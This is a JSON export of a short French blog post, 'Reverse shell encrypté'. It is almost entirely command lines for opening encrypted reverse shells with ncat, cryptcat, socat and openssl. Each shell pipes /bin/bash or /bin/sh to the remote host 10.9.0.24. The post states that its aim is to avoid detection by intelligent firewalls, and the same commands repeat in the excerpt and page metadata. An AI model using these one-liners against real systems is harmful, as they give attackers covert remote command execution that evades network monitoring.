{"id":696,"date":"2021-07-29T09:15:58","date_gmt":"2021-07-29T14:15:58","guid":{"rendered":"https:\/\/www.searchevolution.com\/security\/?p=696"},"modified":"2022-04-27T07:45:35","modified_gmt":"2022-04-27T12:45:35","slug":"reverse-shell-encrypte","status":"publish","type":"post","link":"https:\/\/www.searchevolution.com\/security\/2021\/07\/29\/reverse-shell-encrypte\/","title":{"rendered":"Reverse shell encrypt\u00e9"},"content":{"rendered":"

Netcat (nc) ne supporte l’encryption et cela permet d’\u00eatre d\u00e9tect\u00e9 facilement (firewall intelligent). Voici donc quelques fa\u00e7ons d’am\u00e9liorer la confidentialit\u00e9 des communications<\/p>\n

ncat<\/strong>
\n

apt install ncat\nncat -l 443 --ssl -v\nncat 10.9.0.24 --ssl -e \/bin\/bash -v\n<\/code><\/pre><\/p>\n
cryptcat<\/strong>
\n
\ncryptcat -lvp 4444 -k mysecretkey\nrm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/sh -i 2>&1|cryptcat 10.9.0.24 4444 -k mysecretkey >\/tmp\/f\n<\/code><\/pre><\/p>\n
socat<\/strong>
\n
openssl req -newkey rsa:2048 -nodes -keyout r0cker.key -x509 -days 1000 -subj '\/CN=www.r0cker.local\/O=Best Tech.\/C=CA' -out r0cker.crt\ncat r0cker.key r0cker.crt > r0cker.pem\nsocat -d -d OPENSSL-LISTEN:4443,cert=r0cker.pem,verify=0,fork STDOUT\nsocat OPENSSL:10.9.0.24:4443,verify=0 EXEC:\/bin\/bash<\/code><\/pre><\/p>\n
openssl reverse shell<\/strong>
\n
openssl s_server -quiet -key r0cker.pem -cert r0cker.pem -port 5555 #voir la section socat pour la cr\u00e9ation d'un certificat\nrm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/sh -i 2>&1|openssl s_client -quiet -connect 10.9.0.24:5555 >\/tmp\/f<\/code><\/pre><\/p>\n","protected":false},"excerpt":{"rendered":"
Netcat (nc) ne supporte l’encryption et cela permet d’\u00eatre d\u00e9tect\u00e9 facilement (firewall intelligent). Voici donc quelques fa\u00e7ons d’am\u00e9liorer la confidentialit\u00e9 des communications ncat apt install ncat ncat -l 443 –ssl -v ncat 10.9.0.24 –ssl -e \/bin\/bash -v cryptcat cryptcat -lvp 4444 -k mysecretkey rm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/sh -i 2>&1|cryptcat 10.9.0.24 4444 -k mysecretkey >\/tmp\/f socat openssl req -newkey rsa:2048 -nodes -keyout r0cker.key -x509 -days 1000 -subj '\/CN=www.r0cker.local\/O=Best Tech.\/C=CA' -out r0cker.crt cat r0cker.key r0cker.crt > r0cker.pem socat -d -d OPENSSL-LISTEN:4443,cert=r0cker.pem,verify=0,fork STDOUT socat OPENSSL:10.9.0.24:4443,verify=0 EXEC:\/bin\/bash openssl reverse shell openssl s_server -quiet -key r0cker.pem -cert r0cker.pem -port 5555 #voir la section socat pour <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[21],"tags":[],"class_list":["post-696","post","type-post","status-publish","format-standard","hentry","category-shells"],"yoast_head":"\nReverse shell encrypt\u00e9 - S\u00e9curiser votre site<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.searchevolution.com\/security\/2021\/07\/29\/reverse-shell-encrypte\/\" \/>\n<meta property=\"og:locale\" content=\"fr_CA\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Reverse shell encrypt\u00e9 - S\u00e9curiser votre site\" \/>\n<meta property=\"og:description\" content=\"Netcat (nc) ne supporte l’encryption et cela permet d’\u00eatre d\u00e9tect\u00e9 facilement (firewall intelligent). Voici donc quelques fa\u00e7ons d’am\u00e9liorer la confidentialit\u00e9 des communications ncat apt install ncat ncat -l 443 --ssl -v ncat 10.9.0.24 --ssl -e \/bin\/bash -v cryptcat cryptcat -lvp 4444 -k mysecretkey rm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/sh -i 2>&1|cryptcat 10.9.0.24 4444 -k mysecretkey >\/tmp\/f socat openssl req -newkey rsa:2048 -nodes -keyout r0cker.key -x509 -days 1000 -subj '\/CN=www.r0cker.local\/O=Best Tech.\/C=CA' -out r0cker.crt cat r0cker.key r0cker.crt > r0cker.pem socat -d -d OPENSSL-LISTEN:4443,cert=r0cker.pem,verify=0,fork STDOUT socat OPENSSL:10.9.0.24:4443,verify=0 EXEC:\/bin\/bash openssl reverse shell openssl s_server -quiet -key r0cker.pem -cert r0cker.pem -port 5555 #voir la section socat pour\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.searchevolution.com\/security\/2021\/07\/29\/reverse-shell-encrypte\/\" \/>\n<meta property=\"og:site_name\" content=\"S\u00e9curiser votre site\" \/>\n<meta property=\"article:published_time\" content=\"2021-07-29T14:15:58+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-04-27T12:45:35+00:00\" \/>\n<meta name=\"author\" content=\"Germain\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"Germain\" \/>\n\t<meta name=\"twitter:label2\" content=\"Estimation du temps de lecture\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/29\\\/reverse-shell-encrypte\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/29\\\/reverse-shell-encrypte\\\/\"},\"author\":{\"name\":\"Germain\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/#\\\/schema\\\/person\\\/84a6ede19ffc8428d804d96f1e476245\"},\"headline\":\"Reverse shell encrypt\u00e9\",\"datePublished\":\"2021-07-29T14:15:58+00:00\",\"dateModified\":\"2022-04-27T12:45:35+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/29\\\/reverse-shell-encrypte\\\/\"},\"wordCount\":37,\"commentCount\":0,\"articleSection\":[\"Shells\"],\"inLanguage\":\"fr-CA\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/29\\\/reverse-shell-encrypte\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/29\\\/reverse-shell-encrypte\\\/\",\"url\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/29\\\/reverse-shell-encrypte\\\/\",\"name\":\"Reverse shell encrypt\u00e9 - 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